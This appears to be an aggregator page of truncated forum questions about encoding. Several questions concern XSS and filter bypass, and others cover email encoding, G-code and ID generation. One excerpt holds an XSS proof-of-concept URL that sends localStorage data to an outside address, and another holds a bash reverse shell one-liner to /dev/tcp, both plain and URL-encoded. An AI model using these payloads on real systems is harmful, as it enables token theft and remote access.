Collaborate Disseminate
I am trying to poc and XSS in the url, and I have it working fine with the below url:
https://example.com:15000/test/%3Cscript%20type=%22text/javascript%22%3Edocument.location=%22http://192.168.1.88:8080/%3fc=%22+localStorage.getItem(%22to… Continue reading + is decoded by the browser as space [closed]
I have been struggling a lot with decoding the following message: ">1W)E870@=&AE(‘!A<W-W;W)D(&ES(&-A=&-H+6UE ".
I do not know how to convert the message above into a readable one. I tried using base64 data f… Continue reading How to decode a message? [closed]
While studying the XSS vulnerability, I encountered a significant doubt. I noticed that when we include " in a URL, it gets encoded as %22. Therefore, I believe we can utilize the decoded version of ", ensuring it remains as &quo… Continue reading When we url encode (") will become (%22), is there any way we can decode (")?
I‘m sending a mail encoded with quoted printable encoding that contains some dots .. There is a problem with a specific mailserver/customer. For some reason, they receive the mail in such a form that each dot is encoded as =2E ultimately b… Continue reading Mails invalid signature because of encoding of periods in quoted printable [migrated]
I’ve observed that React can HTML encode specific characters to prevent XSS vulnerabilities in certain contexts. For instance, consider the following code in App.jsx:
function App() {
const XSSProblematicChars = "><‘\"(… Continue reading React chars to HTML encode?
I am trying to perform XSS but to get out of the context and write the payload I need to use Angle brackets and the angle brackets are html encoded. I tried double encoding technique with url encoding+html encoding, url encoding+url encodi… Continue reading How to use html encoded characters to perform XSS?
Several google products (mainly Gmail) masks links using a fake-dns mobile-webview.gmail.com
That domain doesn’t resolve anywhere, not even Google’s own NS https://dnschecker.org/#A/mobile-webview.gmail.com
Most apps mask it in a half-brok… Continue reading Documentation on mobile-webview.gmail.com link masking?
G-code is effective, easily edited, and nearly ubiquitous when it comes to anything CNC. The format has many strengths, but space efficiency isn’t one of them. In fact, when it …read more Continue reading G-code Goes Binary with Proposed New Format
The ID library Nano ID claims that modulo based encoding (e.g. Base64) would lead to uneven distribution in the output:
Uniformity. random % alphabet is a popular mistake to make when coding an ID generator. The distribution will not be e… Continue reading Is encoding random with module insecure? [closed]
I try to put bash reverse shell as a URL parameter. The command is as follows:
bash -i >& /dev/tcp/192.168.56.105/4444 0>&1
I have encoded the above code with URL encoding
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.105%2… Continue reading Bash reverse shell as a URL parameter value